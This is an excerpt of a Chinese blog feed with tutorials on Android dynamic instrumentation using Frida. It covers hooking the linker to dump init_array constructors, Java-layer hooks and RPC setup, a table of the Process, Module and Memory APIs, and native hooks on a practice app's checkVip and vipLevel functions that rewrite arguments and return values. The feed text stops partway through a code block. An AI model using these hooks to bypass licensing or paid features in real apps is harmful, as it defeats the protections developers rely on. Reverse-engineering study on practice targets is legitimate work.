/_/ |_|       help      -&gt; Displays the help system</span><br><span class="line">   . . . .       object?   -&gt; Display information about &apos;object&apos;</span><br><span class="line">   . . . .       exit/quit -&gt; Exit</span><br><span class="line">   . . . .</span><br><span class="line">   . . . .   More info at https://frida.re/docs/home/</span><br><span class="line">   . . . .</span><br><span class="line">   . . . .   Connected to ONEPLUS A3000 (id=1c7dbd17)</span><br><span class="line"></span><br><span class="line">[ONEPLUS A3000::wuaipojie ]-&gt; Java_com_zj_wuaipojie_util_SecurityUtil_checkVip lib52pojie.so 0x74866d0614 0x10614</span><br><span class="line">Java_com_zj_wuaipojie_util_SecurityUtil_vipLevel lib52pojie.so 0x74866d061c 0x1061c</span><br><span class="line">Java_com_zj_wuaipojie_util_SecurityUtil_diamondNum lib52pojie.so 0x74866d07ec 0x107ec</span><br></pre></td></tr></table></figure><h1 id="Hook-Linker"><a href="#Hook-Linker" class="headerlink" title="Hook_Linker"></a>Hook_Linker</h1><p>Linker是Android系统动态库so的加载器/链接器，通过android源码分析 init 和 init_array 是在 callConstructor 中被调用的</p><h2 id="hookInit和hookInitArray"><a href="#hookInit和hookInitArray" class="headerlink" title="hookInit和hookInitArray"></a>hookInit和hookInitArray</h2><p>frida的CModule是一个极其强大的模块，本文将使用CModule来完成init_array的信息输出</p><p>简单来说，就是借助CModule对soinfo结构体进行解析</p><p>经过对比分析历代soinfo结构体的定义，可以确定从Android 8 ~ 14，结构体中init_array的位置都很稳定</p><p>于是通过下面的头文件中提取必要的内容，在CModule中定义一个soinfo结构体，这样frida就能自动完成相关偏移的处理</p><p><a href="http://aosp.app/android-14.0.0_r1/xref/bionic/libc/include/link.h" target="_blank" rel="noopener">http://aosp.app/android-14.0.0_r1/xref/bionic/libc/include/link.h</a><br><a href="http://aosp.app/android-14.0.0_r1/xref/bionic/libc/kernel/uapi/asm-generic/int-ll64.h" target="_blank" rel="noopener">http://aosp.app/android-14.0.0_r1/xref/bionic/libc/kernel/uapi/asm-generic/int-ll64.h</a><br><a href="http://aosp.app/android-14.0.0_r1/xref/bionic/libc/kernel/uapi/linux/elf.h" target="_blank" rel="noopener">http://aosp.app/android-14.0.0_r1/xref/bionic/libc/kernel/uapi/linux/elf.h</a><br><a href="http://aosp.app/android-14.0.0_r1/xref/bionic/linker/linker_soinfo.h" target="_blank" rel="noopener">http://aosp.app/android-14.0.0_r1/xref/bionic/linker/linker_soinfo.h</a><br>接着定义一个函数，接受一个soinfo指针参数和一个callback函数，优雅地输出init_array信息</p><p>核心代码：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line">function hook_call_constructors() &#123;</span><br><span class="line">    // 初始化变量</span><br><span class="line">    let get_soname = null;</span><br><span class="line">    let call_constructors_addr = null;</span><br><span class="line">    let hook_call_constructors_addr = true;</span><br><span class="line">    // 根据进程的指针大小找到对应的linker模块</span><br><span class="line">    let linker = null;</span><br><span class="line">    if (Process.pointerSize == 4) &#123;</span><br><span class="line">        linker = Process.findModuleByName(&quot;linker&quot;);</span><br><span class="line">    &#125; else &#123;</span><br><span class="line">        linker = Process.findModuleByName(&quot;linker64&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">    // 枚举linker模块中的所有符号</span><br><span class="line">    let symbols = linker.enumerateSymbols();</span><br><span class="line">    for (let index = 0; index &lt; symbols.length; index++) &#123;</span><br><span class="line">        let symbol = symbols[index];</span><br><span class="line">        // 查找名为&quot;__dl__ZN6soinfo17call_constructorsEv&quot;的符号地址</span><br><span class="line">        if (symbol.name == &quot;__dl__ZN6soinfo17call_constructorsEv&quot;) &#123;</span><br><span class="line">            call_constructors_addr = symbol.address;</span><br><span class="line">        // 查找名为&quot;__dl__ZNK6soinfo10get_sonameEv&quot;的符号地址，获取soname</span><br><span class="line">        &#125; else if (symbol.name == &quot;__dl__ZNK6soinfo10get_sonameEv&quot;) &#123;</span><br><span class="line">            get_soname = new NativeFunction(symbol.address, &quot;pointer&quot;, [&quot;pointer&quot;]);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    // 如果找到了所有需要的地址和函数</span><br><span class="line">    if (hook_call_constructors_addr &amp;&amp; call_constructors_addr &amp;&amp; get_soname) &#123;</span><br><span class="line">        // 挂钩call_constructors函数</span><br><span class="line">        Interceptor.attach(call_constructors_addr,&#123;</span><br><span class="line">            onEnter: function(args)&#123;</span><br><span class="line">                // 从参数获取soinfo对象</span><br><span class="line">                let soinfo = args[0];</span><br><span class="line">                // 使用get_soname函数获取模块名称</span><br><span class="line">                let soname = get_soname(soinfo).readCString();</span><br><span class="line">                // 调用tell_init_info函数并传递一个回调，用于记录构造函数的调用信息</span><br><span class="line">                tell_init_info(soinfo, new NativeCallback((count, init_array_ptr, init_func) =&gt; &#123;</span><br><span class="line">                    console.log(`[call_constructors] $&#123;soname&#125; count:$&#123;count&#125;`);</span><br><span class="line">                    console.log(`[call_constructors] init_array_ptr:$&#123;init_array_ptr&#125;`);</span><br><span class="line">                    console.log(`[call_constructors] init_func:$&#123;init_func&#125; -&gt; $&#123;get_addr_info(init_func)&#125;`);</span><br><span class="line">                    // 遍历所有初始化函数，并打印它们的信息</span><br><span class="line">                    for (let index = 0; index &lt; count; index++) &#123;</span><br><span class="line">                        let init_array_func = init_array_ptr.add(Process.pointerSize * index).readPointer();</span><br><span class="line">                        let func_info = get_addr_info(init_array_func);</span><br><span class="line">                        console.log(`[call_constructors] init_array:$&#123;index&#125; $&#123;init_array_func&#125; -&gt; $&#123;func_info&#125;`);</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;, &quot;void&quot;, [&quot;int&quot;, &quot;pointer&quot;, &quot;pointer&quot;]));</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"> ~  frida -U -f com.zj.wuaipojie -l .\hook_init.js</span><br><span class="line">     ____</span><br><span class="line">    / _  |   Frida 16.2.1 - A world-class dynamic instrumentation toolkit</span><br><span class="line">   | (_| |</span><br><span class="line">    &gt; _  |   Commands:</span><br><span class="line">   /_/ |_|       help      -&gt; Displays the help system</span><br><span class="line">   . . . .       object?   -&gt; Display information about &apos;object&apos;</span><br><span class="line">   . . . .       exit/quit -&gt; Exit</span><br><span class="line">   . . . .</span><br><span class="line">   . . . .   More info at https://frida.re/docs/home/</span><br><span class="line">   . . . .</span><br><span class="line">   . . . .   Connected to ONEPLUS A3000 (id=1c7dbd17)</span><br><span class="line">Spawned `com.zj.wuaipojie`. Resuming main thread!</span><br><span class="line">[ONEPLUS A3000::com.zj.wuaipojie ]-&gt; [call_constructors] gralloc.msm8996.so count:0</span><br><span class="line">[call_constructors] init_array_ptr:0x0</span><br><span class="line">[call_constructors] init_func:0x0 -&gt; null</span><br><span class="line">[call_constructors] liblog.so count:0</span><br><span class="line">[call_constructors] init_array_ptr:0x0</span><br><span class="line">[call_constructors] init_func:0x0 -&gt; null</span><br><span class="line">[call_constructors] libutils.so count:2</span><br><span class="line">[call_constructors] init_array_ptr:0x777e675880</span><br><span class="line">[call_constructors] init_func:0x0 -&gt; null</span><br><span class="line">[call_constructors] init_array:0 0x777e66d7cc -&gt; [libutils.so + 0x147cc]</span><br><span class="line">[call_constructors] init_array:1 0x777e674844 -&gt; [libutils.so + 0x1b844]</span><br><span class="line">[call_constructors] libcutils.so count:0</span><br><span class="line">[call_constructors] init_array_ptr:0x0</span><br><span class="line">[call_constructors] init_func:0x0 -&gt; null</span><br><span class="line">[call_constructors] libhardware.so count:0</span><br><span class="line">[call_constructors] init_array_ptr:0x0</span><br><span class="line">[call_constructors] init_func:0x0 -&gt; null</span><br><span class="line">[call_constructors] libqdMetaData.so count:0</span><br><span class="line">[call_constructors] init_array_ptr:0x0</span><br><span class="line">[call_constructors] init_func:0x0 -&gt; null</span><br><span class="line">[call_constructors] liblog.so count:0</span><br><span class="line">[call_constructors] init_array_ptr:0x0</span><br><span class="line">[call_constructors] init_func:0x0 -&gt; null</span><br><span class="line">[call_constructors] libcutils.so count:0</span><br><span class="line">[call_constructors] init_array_ptr:0x0</span><br><span class="line">[call_constructors] init_func:0x0 -&gt; null</span><br><span class="line">[call_constructors] libutils.so count:2</span><br><span class="line">[call_constructors] init_array_ptr:0x777e675880</span><br><span class="line">[call_constructors] init_func:0x0 -&gt; null</span><br></pre></td></tr></table></figure><h1 id="frida-rpc"><a href="#frida-rpc" class="headerlink" title="frida_rpc"></a>frida_rpc</h1><p>在 Frida 中，RPC（Remote Procedure Calls）是一种机制，允许你在 Frida 脚本和应用程序之间进行远程调用。通过 RPC，你可以在 Frida 脚本中定义函数，并在目标应用程序中调用这些函数，实现脚本和目标应用程序之间的交互。</p><p>下面是获取文字和图片url的js</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">function get_url()&#123;</span><br><span class="line">    let ChallengeNinth = Java.use(&quot;com.zj.wuaipojie.ui.ChallengeNinth&quot;);</span><br><span class="line">    ChallengeNinth[&quot;updateUI&quot;].implementation = function (list) &#123;</span><br><span class="line">        // console.log(`ChallengeNinth.updateUI is called: list=$&#123;list&#125;`);</span><br><span class="line">        var ret= this[&quot;updateUI&quot;](list);</span><br><span class="line">        var size = list.size();</span><br><span class="line">        for (var i = 0; i &lt; size; i++) &#123;</span><br><span class="line">            var ImageEntity = Java.cast(list.get(i), Java.use(&quot;com.zj.wuaipojie.entity.ImageEntity&quot;));</span><br><span class="line">            console.log(ImageEntity.name.value + &quot; , &quot; + ImageEntity.cover.value);</span><br><span class="line">        &#125;</span><br><span class="line">        return ret;</span><br><span class="line">    &#125;;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">function main()&#123;</span><br><span class="line">    Java.perform(function()&#123;</span><br><span class="line">        get_url();</span><br><span class="line">    &#125;);</span><br><span class="line">&#125; </span><br><span class="line">setImmediate(main);</span><br></pre></td></tr></table></figure><p>先安装下面的库，frida-tools装过就不用装了，最好里面的frida版本跟server要对应上</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install frida-tools uvicorn fastapi requests</span><br></pre></td></tr></table></figure><ol><li><p><strong>uvicorn</strong>：uvicorn 是一个基于 ASGI（Asynchronous Server Gateway Interface）的 Web 服务器，用于运行基于 Python 的异步 Web 应用程序。它是一个轻量级、高性能的服务器，常用于部署和运行基于 ASGI 的 Web 框架，如 FastAPI。</p></li><li><p><strong>fastapi</strong>：FastAPI 是一个现代、快速（高性能）、易于使用的 Python Web 框架，用于构建 Web API。它基于 ASGI 并利用 Python 类型提示（Type Hints）和异步特性，提供了强大的自动化文档生成、输入验证、序列化、依赖注入等功能。FastAPI 具有出色的性能和开发效率，被广泛应用于构建高性能的 Web 后端服务。</p></li><li><p><strong>requests</strong>：requests 是一个流行的 Python HTTP 库，用于发送 HTTP 请求和处理响应。它简化了与 Web 服务进行交互的过程，提供了简洁的 API，支持常见的 HTTP 方法（GET、POST、PUT 等），并且可以方便地处理请求头、请求参数、Cookies 等内容。requests 是一个非常实用的工具，适用于各种 Web 开发场景。</p></li></ol>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;Hook-Libart&quot;&gt;&lt;a href=&quot;#Hook-Libart&quot; class=&quot;headerlink&quot; title=&quot;Hook_Libart&quot;&gt;&lt;/a&gt;Hook_Libart&lt;/h1&gt;&lt;p&gt;&lt;code&gt;libart.so&lt;/code&gt;: 在 Android 
      
    
    </summary>
    
      <category term="/小书匠/日记/2024-03" scheme="https://www.giantbranch.cn/categories/%E5%B0%8F%E4%B9%A6%E5%8C%A0-%E6%97%A5%E8%AE%B0-2024-03/"/>
    
    
      <category term="新建,模板,小书匠" scheme="https://www.giantbranch.cn/tags/%E6%96%B0%E5%BB%BA-%E6%A8%A1%E6%9D%BF-%E5%B0%8F%E4%B9%A6%E5%8C%A0/"/>
    
  </entry>
  
  <entry>
    <title>安卓Frida Hook之Frida-Native-Hook</title>
    <link href="https://www.giantbranch.cn/2024/03/20/%E5%AE%89%E5%8D%93Frida%20Hook%E4%B9%8BFrida-Native-Hook/"/>
    <id>https://www.giantbranch.cn/2024/03/20/安卓Frida Hook之Frida-Native-Hook/</id>
    <published>2024-03-19T16:00:00.000Z</published>
    <updated>2024-12-01T02:32:49.786Z</updated>
    
    <content type="html"><![CDATA[<h1 id="实验环境"><a href="#实验环境" class="headerlink" title="实验环境"></a>实验环境</h1><blockquote><p>windows 10<br>vscode<br>frida 16.2.1<br>jadx-gui</p></blockquote><h1 id="Frida相关api介绍"><a href="#Frida相关api介绍" class="headerlink" title="Frida相关api介绍"></a>Frida相关api介绍</h1><h2 id="1-Process、Module、Memory基础"><a href="#1-Process、Module、Memory基础" class="headerlink" title="1.Process、Module、Memory基础"></a>1.Process、Module、Memory基础</h2><h3 id="1-Process"><a href="#1-Process" class="headerlink" title="1.Process"></a>1.Process</h3><p><code>Process</code> 对象代表当前被Hook的进程，能获取进程的信息，枚举模块，枚举范围等</p><table><thead><tr><th>API</th><th>含义</th></tr></thead><tbody><tr><td><code>Process.id</code></td><td>返回附加目标进程的 <code>PID</code></td></tr><tr><td><code>Process.isDebuggerAttached()</code></td><td>检测当前是否对目标程序已经附加</td></tr><tr><td><code>Process.enumerateModules()</code></td><td>枚举当前加载的模块，返回模块对象的数组</td></tr><tr><td><code>Process.enumerateThreads()</code></td><td>枚举当前所有的线程，返回包含 <code>id</code>, <code>state</code>, <code>context</code> 等属性的对象数组</td></tr><tr><td>### 2.Module</td><td></td></tr><tr><td><code>Module</code> 对象代表一个加载到进程的模块(例如，在 Windows 上的 DLL，或在 Linux/Android 上的 .so 文件),能查询模块的信息，如模块的基址、名称、导入/导出的函数等</td><td></td></tr></tbody></table><table><thead><tr><th>API</th><th>含义</th></tr></thead><tbody><tr><td><code>Module.load()</code></td><td>加载指定so文件，返回一个Module对象</td></tr><tr><td><code>enumerateImports()</code></td><td>枚举所有Import库函数，返回Module数组对象</td></tr><tr><td><code>enumerateExports()</code></td><td>枚举所有Export库函数，返回Module数组对象</td></tr><tr><td><code>enumerateSymbols()</code></td><td>枚举所有Symbol库函数，返回Module数组对象</td></tr><tr><td><code>Module.findExportByName(exportName)、Module.getExportByName(exportName)</code></td><td>寻找指定so中export库中的函数地址</td></tr><tr><td><code>Module.findBaseAddress(name)、Module.getBaseAddress(name)</code></td><td>返回so的基地址</td></tr></tbody></table><h3 id="3-Memory"><a href="#3-Memory" class="headerlink" title="3.Memory"></a>3.Memory</h3><p><code>Memory</code>是一个工具对象，提供直接读取和修改进程内存的功能，能够读取特定地址的值、写入数据、分配内存等</p><table><thead><tr><th>方法</th><th>功能</th></tr></thead><tbody><tr><td><code>Memory.copy()</code></td><td>复制内存</td></tr><tr><td><code>Memory.scan()</code></td><td>搜索内存中特定模式的数据</td></tr><tr><td><code>Memory.scanSync()</code></td><td>同上，但返回多个匹配的数据</td></tr><tr><td><code>Memory.alloc()</code></td><td>在目标进程的堆上申请指定大小的内存，返回一个<code>NativePointer</code></td></tr><tr><td><code>Memory.writeByteArray()</code></td><td>将字节数组写入一个指定内存</td></tr><tr><td><code>Memory.readByteArray</code></td><td>读取内存</td></tr></tbody></table><h2 id="2-枚举导入导出表"><a href="#2-枚举导入导出表" class="headerlink" title="2.枚举导入导出表"></a>2.枚举导入导出表</h2><ol><li><strong>导出表（Export Table）</strong>：列出了库中可以被其他程序或库访问的所有公开函数和符号的名称。</li><li><strong>导入表（Import Table）</strong>：列出了库需要从其他库中调用的函数和符号的名称。</li></ol><p>简而言之，导出表告诉其他程序：“这些是我提供的功能。”，而导入表则表示：“这些是我需要的功能。”。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">function hookTest1()&#123;</span><br><span class="line">    Java.perform(function()&#123;</span><br><span class="line">        //打印导入表</span><br><span class="line">        var imports = Module.enumerateImports(&quot;lib52pojie.so&quot;);</span><br><span class="line">        for(var i =0; i &lt; imports.length;i++)&#123;</span><br><span class="line">            if(imports[i].name == &quot;vip&quot;)&#123;</span><br><span class="line">                console.log(JSON.stringify(imports[i])); //通过JSON.stringify打印object数据</span><br><span class="line">                console.log(imports[i].address);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        //打印导出表</span><br><span class="line">        var exports = Module.enumerateExports(&quot;lib52pojie.so&quot;);</span><br><span class="line">        for(var i =0; i &lt; exports.length;i++)&#123;</span><br><span class="line">            console.log(JSON.stringify(exports[i]));</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">    &#125;)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="3-Native函数的基础Hook打印"><a href="#3-Native函数的基础Hook打印" class="headerlink" title="3.Native函数的基础Hook打印"></a>3.Native函数的基础Hook打印</h2><ol><li>整数型、布尔值类型、char类型</li></ol><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">hookTest2</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">    Java.perform(<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="comment">//根据导出函数名打印地址</span></span><br><span class="line">        <span class="keyword">var</span> helloAddr = Module.findExportByName(<span class="string">"lib52pojie.so"</span>,<span class="string">"Java_com_zj_wuaipojie_util_SecurityUtil_checkVip"</span>);</span><br><span class="line">        <span class="built_in">console</span>.log(helloAddr); </span><br><span class="line">        <span class="keyword">if</span>(helloAddr != <span class="literal">null</span>)&#123;</span><br><span class="line">        <span class="comment">//Interceptor.attach是Frida里的一个拦截器</span></span><br><span class="line">            Interceptor.attach(helloAddr,&#123;</span><br><span class="line">            <span class="comment">//onEnter里可以打印和修改参数</span></span><br><span class="line">                onEnter: <span class="function"><span class="keyword">function</span>(<span class="params">args</span>)</span>&#123;  <span class="comment">//args传入参数</span></span><br><span class="line">                    <span class="built_in">console</span>.log(args[<span class="number">0</span>]);  <span class="comment">//打印第一个参数的值</span></span><br><span class="line">                    <span class="built_in">console</span>.log(<span class="keyword">this</span>.context.x1);  <span class="comment">// 打印寄存器内容</span></span><br><span class="line">                    <span class="built_in">console</span>.log(args[<span class="number">1</span>].toInt32()); <span class="comment">//toInt32()转十进制</span></span><br><span class="line"><span class="built_in">console</span>.log(args[<span class="number">2</span>].readCString()); <span class="comment">//读取字符串 char类型</span></span><br><span class="line"><span class="built_in">console</span>.log(hexdump(args[<span class="number">2</span>])); <span class="comment">//内存dump</span></span><br><span class="line"></span><br><span class="line">                &#125;,</span><br><span class="line">                <span class="comment">//onLeave里可以打印和修改返回值</span></span><br><span class="line">                onLeave: <span class="function"><span class="keyword">function</span>(<span class="params">retval</span>)</span>&#123;  <span class="comment">//retval返回值</span></span><br><span class="line">                    <span class="built_in">console</span>.log(retval);</span><br><span class="line">                    <span class="built_in">console</span>.log(<span class="string">"retval"</span>,retval.toInt32());</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;)</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ol start="2"><li>字符串类型</li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">function hookTest2()&#123;</span><br><span class="line">    Java.perform(function()&#123;</span><br><span class="line">        //根据导出函数名打印地址</span><br><span class="line">        var helloAddr = Module.findExportByName(&quot;lib52pojie.so&quot;,&quot;Java_com_zj_wuaipojie_util_SecurityUtil_vipLevel&quot;);</span><br><span class="line">        if(helloAddr != null)&#123;</span><br><span class="line">            Interceptor.attach(helloAddr,&#123;</span><br><span class="line">                //onEnter里可以打印和修改参数</span><br><span class="line">                onEnter: function(args)&#123;  //args传入参数</span><br><span class="line">                    // 方法一</span><br><span class="line">                    var jString = Java.cast(args[2], Java.use(&apos;java.lang.String&apos;));</span><br><span class="line">                    console.log(&quot;参数:&quot;, jString.toString());</span><br><span class="line">                    // 方法二</span><br><span class="line">                    var JNIEnv = Java.vm.getEnv();</span><br><span class="line">                    var originalStrPtr = JNIEnv.getStringUtfChars(args[2], null).readCString();</span><br><span class="line">                    console.log(&quot;参数:&quot;, originalStrPtr);</span><br><span class="line">                &#125;,</span><br><span class="line">                //onLeave里可以打印和修改返回值</span><br><span class="line">                onLeave: function(retval)&#123;  //retval返回值</span><br><span class="line">                    var returnedJString = Java.cast(retval, Java.use(&apos;java.lang.String&apos;));</span><br><span class="line">                    console.log(&quot;返回值:&quot;, returnedJString.toString());</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;)</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="4-Native函数的基础Hook修改"><a href="#4-Native函数的基础Hook修改" class="headerlink" title="4.Native函数的基础Hook修改"></a>4.Native函数的基础Hook修改</h2><ol><li>整数型修改</li></ol><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">hookTest3</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">    Java.perform(<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="comment">//根据导出函数名打印地址</span></span><br><span class="line">        <span class="keyword">var</span> helloAddr = Module.findExportByName(<span class="string">"lib52pojie.so"</span>,<span class="string">"func_four"</span>);</span><br><span class="line">        <span class="built_in">console</span>.log(helloAddr);</span><br><span class="line">        <span class="keyword">if</span>(helloAddr != <span class="literal">null</span>)&#123;</span><br><span class="line">            Interceptor.attach(helloAddr,&#123;</span><br><span class="line">                onEnter: <span class="function"><span class="keyword">function</span>(<span class="params">args</span>)</span>&#123;  <span class="comment">//args参数</span></span><br><span class="line">                    args[<span class="number">0</span>] = ptr(<span class="number">1000</span>); <span class="comment">//第一个参数修改为整数 1000，先转为指针再赋值</span></span><br><span class="line">                    <span class="built_in">console</span>.log(args[<span class="number">0</span>]);</span><br><span class="line">                      </span><br><span class="line">                &#125;,</span><br><span class="line">                onLeave: <span class="function"><span class="keyword">function</span>(<span class="params">retval</span>)</span>&#123;  <span class="comment">//retval返回值</span></span><br><span class="line">                    retval.replace(<span class="number">20000</span>);  <span class="comment">//返回值修改</span></span><br><span class="line">                    <span class="built_in">console</span>.log(<span class="string">"retval"</span>,retval.toInt32());</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;)</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ol start="2"><li>字符串类型修改</li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">function hookTest2()&#123;</span><br><span class="line">    Java.perform(function()&#123;</span><br><span class="line">        //根据导出函数名打印地址</span><br><span class="line">        var helloAddr = Module.findExportByName(&quot;lib52pojie.so&quot;,&quot;Java_com_zj_wuaipojie_util_SecurityUtil_vipLevel&quot;);</span><br><span class="line">        if(helloAddr != null)&#123;</span><br><span class="line">            Interceptor.attach(helloAddr,&#123;</span><br><span class="line">                //onEnter里可以打印和修改参数</span><br><span class="line">                onEnter: function(args)&#123;  //args传入参数</span><br><span class="line">                    var JNIEnv = Java.vm.getEnv();</span><br><span class="line">                    var originalStrPtr = JNIEnv.getStringUtfChars(args[2], null).readCString();</span><br><span class="line">                    console.log(&quot;参数:&quot;, originalStrPtr);</span><br><span class="line">                    var modifiedContent = &quot;至尊&quot;;</span><br><span class="line">                    var newJString = JNIEnv.newStringUtf(modifiedContent);</span><br><span class="line">                    args[2] = newJString;</span><br><span class="line">                &#125;,</span><br><span class="line">                //onLeave里可以打印和修改返回值</span><br><span class="line">                onLeave: function(retval)&#123;  //retval返回值</span><br><span class="line">                    var returnedJString = Java.cast(retval, Java.use(&apos;java.lang.String&apos;));</span><br><span class="line">                    console.log(&quot;返回值:&quot;, returnedJString.toString());</span><br><span class="line">                    var JNIEnv = Java.vm.getEnv();</span><br><span class="line">                    var modifiedContent = &quot;无敌&quot;;</span><br><span class="line">                    var newJString = JNIEnv.newStringUtf(modifiedContent);</span><br><span class="line">                    retval.replace(newJString);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;)</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="5-SO基址的获取方式"><a href="#5-SO基址的获取方式" class="headerlink" title="5.SO基址的获取方式"></a>5.SO基址的获取方式</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span 